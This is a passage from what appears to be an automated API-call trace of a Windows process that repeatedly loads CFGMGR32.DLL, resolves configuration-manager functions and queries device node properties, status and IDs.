(lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.971] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.971] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.971] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.971] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.972] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.972] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.972] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.972] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.973] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.973] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.973] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.973] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.973] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.974] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.974] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.974] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.974] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.974] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.974] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.975] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.975] malloc (_Size=0x18) returned 0x20abc281d40 [0230.976] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0230.976] malloc (_Size=0x48) returned 0x20abc27cf80 [0230.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x457097eb, dwHighDateTime=0x1d9eb0c)) [0230.977] SetEvent (hEvent=0x248) returned 1 [0230.981] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.981] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.981] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.981] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.981] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.984] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.985] malloc (_Size=0x18) returned 0x20abc281ea0 [0230.985] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0230.986] malloc (_Size=0x48) returned 0x20abc27cf80 [0230.986] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x457097eb, dwHighDateTime=0x1d9eb0c)) [0230.987] SetEvent (hEvent=0x248) returned 1 [0231.042] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.042] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.042] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.042] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.046] malloc (_Size=0x18) returned 0x20abc281b00 [0231.046] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0231.049] malloc (_Size=0x48) returned 0x20abc2abf40 [0231.049] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x457a25c8, dwHighDateTime=0x1d9eb0c)) [0231.049] SetEvent (hEvent=0x248) returned 1 [0231.054] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.054] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.054] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.054] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.057] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.057] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.057] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.057] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.057] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.057] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.058] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.058] malloc (_Size=0x18) returned 0x20abc281a20 [0231.058] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x1a, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0231.059] malloc (_Size=0x48) returned 0x20abc2ab4a0 [0231.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x457c80c4, dwHighDateTime=0x1d9eb0c)) [0231.059] SetEvent (hEvent=0x248) returned 1 [0231.065] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.065] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.066] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.066] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.066] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.069] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.069] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.069] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.069] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.069] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.069] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.070] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.070] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.070] malloc (_Size=0x18) returned 0x20abc282000 [0231.070] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x1a, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0231.071] malloc (_Size=0x48) returned 0x20abc2ac0d0 [0231.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x457eea5f, dwHighDateTime=0x1d9eb0c)) [0231.071] SetEvent (hEvent=0x248) returned 1 [0231.078] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.078] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.078] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.078] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.079] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.079] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.079] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.079] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.079] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.079] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.130] malloc (_Size=0x18) returned 0x20abc281c00 [0231.131] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0231.131] malloc (_Size=0x48) returned 0x20abc2ab8b0 [0231.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x45886e4a, dwHighDateTime=0x1d9eb0c)) [0231.132] SetEvent (hEvent=0x248) returned 1 [0231.138] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.138] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.143] malloc (_Size=0x18) returned 0x20abc281f20 [0231.143] CM_Get_Device_IDA (in: dnDevInst=0x1b, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\VDRVROOT\\0000") returned 0x0 [0231.143] malloc (_Size=0x48) returned 0x20abc27cb20 [0231.143] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x45886e4a, dwHighDateTime=0x1d9eb0c)) [0231.143] SetEvent (hEvent=0x248) returned 1 [0231.148] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.148] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.150] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.150] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.150] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.150] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.150] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.150] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.151] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.151] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.151] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.151] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.151] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.151] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.152] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.152] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.152] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.152] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.152] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.153] malloc (_Size=0x18) returned 0x20abc281ac0 [0231.153] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0231.153] malloc (_Size=0x1e) returned 0x20abc2a9a90 [0231.154] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9a90, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9a90, pulLength=0x2dc22fd3f8) returned 0x0 [0231.154] free (_Block=0x20abc2a9a90) [0231.154] malloc (_Size=0x48) returned 0x20abc27cb20 [0231.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x458ad0d4, dwHighDateTime=0x1d9eb0c)) [0231.154] SetEvent (hEvent=0x248) returned 1 [0231.158] malloc (_Size=0x18) returned 0x20abc281fe0 [0231.158] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0231.158] free (_Block=0x20abc281fe0) 